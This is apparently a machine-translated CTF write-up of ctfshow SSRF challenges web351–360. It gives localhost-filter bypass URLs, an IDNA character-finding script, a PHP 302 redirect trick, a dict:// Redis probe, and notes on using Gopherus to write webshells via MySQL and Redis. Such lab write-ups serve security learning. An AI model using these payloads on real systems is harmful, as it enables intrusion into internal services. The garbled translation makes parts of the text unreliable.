序文
SSRFの学習を開始し、記事を
学習します。SSRF学習レコード(fqが必要)
説明なしで、ペイロードを比較的単純なトピックに直接配置するだけです。
web351
url=http://127.0.0.1/flag.php
web352
スキームはhttpまたはhttpsである必要がありますが、127.0.0.1またはlocalhostを持つことはできません。バイパス技術はたくさんありますが、一般的に使用されるものをいくつか示します。
- ベースバイパス
url=http://0x7F000001/flag.php
- 0.0.0.0バイパス
url=http://0.0.0.0/flag.php
- ショートラベルがバイパスされましたが、この質問のテストに失敗しました。ショートラベルの問題でしょうか。
- ipv6は[:: 1]をバイパスし、この質問も機能しません。
- バイパスするピリオドを使用してください:、
url=http://127。0。0。1/flag.php
この質問も機能しません。 - 特別アドレス0 、、、、など
url=http://0/flag.php
がありurl=http://127.1/flag.php
ますurl=http://127.0000000000000.001/flag.php
。 - 実際、ここではdns rebindingも使用できますが、この質問は機能しないようです。DNSに問題があるかどうかわかりません。
- もっとあるかもしれません、それについて考えて、それから補ってください。
web353
同上。
web354
禁止に0と1の両方を与えた後、どうしたらよいかわかりません。MasterYuのブログを読みました。この質問の本来の目的は、Unicodeを置き換えることです。
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
#print(res)
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
IDNA(アプリケーションでのドメイン名の国際化)アプリケーション国際化ドメイン名
IDNA ASCII文字は、ASCII文字以外のメカニズムへの標準的なアプローチの一種であり、Unicodeから文字を抽出し、非ASCII文字で表現を使用できるようにします。国際化ドメイン名(IDN)は、1996年12月にMartinDusitによって最初に提案されました。1998年には、シンガポール国立大学の教授陳Dingweiの指導の下、タンJuay
グァンウンとリョンコック
ヨンジュンは練習にそれを置きます。さまざまな提案について多くの議論と比較を行った後、アプリケーションの国際化ドメイン名(IDNA)が公式の標準として採用され、多くのトップレベルドメイン名で使用されました。IDNAでは、「国際化ドメイン名」とは、IDNAを10進数のASCIIに正常に変換できるドメイン名を具体的に指します。
しかし、この質問は良くありません、それは非常に迷惑なので、私は自分のドメイン名を使用し、使用するために彼に127.0.0.1に解決させます。
または、Master Yu:からこれをhttp://sudo.cc/
使用します。これは127.0.0.1に解決されるドメイン名であり、直接使用するだけです。
web355
この制限が引き上げられました:、if ((strlen($host) <= 5)) {
127.1は間違いなく可能です。0も可能です。
url=http://0/flag.php
web356
url=http://0/flag.php
0はLinuxシステムでは127.0.0.1として解析され、Windowsでは0.0.0.0として解析されます。
web357
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
302ジャンプまたはdns再バインドを使用できます。302ジャンプはマスターYuから新しい姿勢を学習し、彼のvpsに1つ書き込みます。
<?php
header("Location:http://127.0.0.1/flag.php");
その後http://xxx.xxx.xxx.xxx/xxx.php
、訪問して学ぶことができます。
web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
URLはhttp:// ctfで始まり、showで終わる必要があります。
ショーで終わるほうが簡単です#show
、それでも大丈夫?a=show
です。
http:// ctf。で開始する場合は、1を追加@127.0.0.1
することでバイパスできます。これにより、ftp:を考慮してparse_urlで解析されるホストは127.0.0.1にftp://user[:pass]@ip[:port]/path
なり、前のctf。がユーザーに解析されます。
url=http://[email protected]/flag.php#show
web359
mysqlを再生すると、特定の原則も序文の記事に記載されていますが、それでも手動で実行するのは非常に面倒です。mysqlステートメントをローカルで実行し、wiresharkがパッケージをキャプチャしてから、gopherを構築する必要があります。 。:もっと厄介はここでは、直接SSRFの普遍的なツールを使用
Gopherusは
python2を使用して、特定の操作はまた、githubの上で非常に明確で、かつ-helpも確認することができます。
この質問のssrfポイントはここにあります:
returlはssrfのポイントですが、この質問はエコーされないので、シェルを記述します。
結果の後に_をエンコードします。
シェルが書き込まれ、RCEがフラグを見つけることができます。
web360
ssrfはredisにヒットします。基本的に、4種類の攻撃方法です。
- ウェブシェルを書く
- ssh公開鍵を書く
- コントラブスケジュールタスクリバースシェルを作成する
- マスタースレーブレプリケーション
この質問は、シェルでなければならないポートを検出し、6379が存在するかどうかを確認するために最初に使用する辞書対象のRedisのは、そのポートを変更した場合、検出するためのdictのプロトコルを使用します。。のため
のRedisの具体的な原理は、この記事を参照してください。
分析のRedis中国でのSSRFの
使用gopherusツールを盲目的に使用しないでください。まず、原則を理解してください。
この質問では、慣れるためにgopherusツールは必要ありません。
認証するかどうかを見てみ
ましょう。この質問は必要ありません。必要な場合は、bpを使用して展開してください。
url=dict://127.0.0.1:6379/auth:xxx
使用:スペースを置き換える。
dir、つまりローカルデータベースストレージディレクトリを設定します。writehorses、
エスケープまたはフィルタリングが行われる可能性があるため、通常は16進数で正常に書き込むことができます。:
設定ファイル:
保存:
再訪、書き込み成功:
フラグを探すだけ。
シェルに何も書き込めない場合は、マスタースレーブレプリケーションを試す必要があります。